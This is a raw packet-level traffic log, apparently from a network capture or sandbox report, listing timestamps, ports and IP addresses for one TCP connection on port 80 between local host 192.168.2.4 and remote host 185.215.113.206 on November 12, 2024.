Nov 12, 2024 02:13:26.244348049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244477987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244492054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244503021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244513988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244520903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244525909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244539976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244544983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244553089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244565964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244569063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244577885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244590044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244594097 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244611979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244618893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244625092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244636059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244637966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244659901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244662046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244678020 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244682074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244689941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244702101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244704962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244719982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244720936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244733095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244734049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244745016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.244754076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.244781017 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245569944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245585918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245595932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245624065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245637894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245649099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245651960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245662928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245673895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245677948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245686054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245688915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245699883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245712042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245712996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245724916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245733023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245743990 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245744944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245773077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245784044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245841980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245855093 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245866060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.245882988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.245908022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357264996 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357316017 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357392073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357402086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357422113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357431889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357453108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357465029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357465982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357475996 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357487917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357495070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357500076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357508898 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357527971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357530117 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357539892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357552052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357553005 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357564926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357573032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357575893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357588053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357595921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357608080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357613087 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357623100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357633114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357640028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357645988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357650995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357662916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357673883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.357677937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.357706070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358048916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358061075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358073950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358086109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358093023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358098984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358104944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358113050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358120918 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358149052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358206987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358217955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358228922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358239889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358242035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358253956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358268023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358294964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358352900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358369112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358403921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358522892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358535051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358546019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358596087 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358608961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358659029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358670950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358681917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358692884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358701944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358705044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.358717918 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.358761072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359102964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359112978 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359122992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359136105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359148026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359154940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359160900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359168053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359184980 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359210968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359399080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359426022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359452009 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359455109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359461069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359467030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359478951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359486103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359491110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359499931 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359503984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359514952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359517097 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359527111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359534025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359539986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359551907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359551907 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359565973 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359575987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359586954 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359590054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359602928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359611034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359615088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359625101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359623909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359638929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359641075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359651089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359657049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359663963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359677076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359684944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359688997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359698057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359702110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359721899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359726906 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359740019 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359750986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359754086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359764099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359770060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359774113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359786034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359793901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359798908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359807968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359849930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359883070 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359894991 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359905958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359915972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359944105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.359956980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359967947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.359977961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.360004902 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.360018969 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.360027075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.360039949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.360050917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.360070944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.360101938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483179092 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483309031 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483333111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483345032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483355999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483369112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483381033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483381987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483400106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483413935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483426094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483432055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483453035 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483460903 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483473063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483483076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483495951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483505964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483510017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483524084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483526945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483556032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483577967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483613014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483637094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483649969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483654022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483661890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483670950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483680964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483688116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483695030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483706951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483712912 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483721018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483721972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483736038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483741045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483752966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483766079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483769894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483778000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483789921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483794928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483803988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483820915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483824968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483835936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483841896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.483866930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.483911037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.536190033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.541409969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.821793079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.821810007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.821867943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822545052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822596073 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822638035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822652102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822663069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822674036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822676897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822686911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822698116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822699070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822726965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822771072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822788000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822807074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822818041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822825909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822830915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822841883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822854042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822865009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822874069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822874069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822880030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822895050 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822902918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822913885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822913885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822925091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822936058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822940111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822947025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822959900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822966099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822977066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822987080 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.822988987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.822997093 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823000908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823019028 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823024988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823036909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823046923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823050022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823062897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823072910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823074102 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823086023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823095083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823103905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823107004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823112011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823116064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823127985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.823132038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823153973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.823180914 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937139988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937158108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937180042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937194109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937202930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937221050 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937222004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937242985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937252998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937266111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937277079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937285900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937289953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937305927 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937315941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937321901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937335968 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937345982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937360048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937362909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937381983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:26.937382936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937397003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:26.937402010 CET	49755	80	192.168.2.4	185.215.113.206
